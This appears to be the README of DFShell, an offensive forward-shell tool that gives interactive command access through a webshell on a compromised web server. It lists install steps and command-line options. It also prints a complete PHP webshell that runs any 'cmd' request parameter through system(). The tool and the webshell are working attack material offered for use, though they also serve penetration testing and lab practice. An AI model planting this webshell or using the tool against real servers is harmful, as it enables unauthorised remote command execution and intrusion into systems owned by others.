██████╗ ███████╗███████╗██╗  ██╗███████╗██╗     ██╗     
██╔══██╗██╔════╝██╔════╝██║  ██║██╔════╝██║     ██║     
██║  ██║█████╗  ███████╗███████║█████╗  ██║     ██║     
██║  ██║██╔══╝  ╚════██║██╔══██║██╔══╝  ██║     ██║     
██████╔╝██║     ███████║██║  ██║███████╗███████╗███████╗
╚═════╝ ╚═╝     ╚══════╝╚═╝  ╚═╝╚══════╝╚══════╝╚══════╝                      

git clone https://github.com/D3Ext/DFShell
cd DFShell
pip3 install -r requirements.txt

pip3 install dfshell

usage: dfshell.py [-h] -u URL -p PARAMETER [-t TIMEOUT] [--path PATH] [-v VERBOSE]

D3Ext's Forward Shell - Enhanced forward shell with integrated commands

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     url of the webshell (i.e. http://10.10.10.10/webshell.php)
  -p PARAMETER, --parameter PARAMETER
                        parameter of the webshell to execute commands (i.e. cmd)
  -t TIMEOUT, --timeout TIMEOUT
                        timeout of requests that execute commands (default 20s)
  --path PATH           path in which to create named pipes (default /dev/shm/.fs)
  -v VERBOSE, --verbose VERBOSE
                        print more information

<?php
  if(isset($_REQUEST['cmd']))
  {
    system($_REQUEST['cmd']);
  }
?>

https://github.com/IppSec/forward-shell
https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux#forward-shell
https://www.f5.com/labs/learning-center/forward-and-reverse-shells
https://github.com/Hypnoze57/FShell
https://s4vitar.github.io/ttyoverhttp/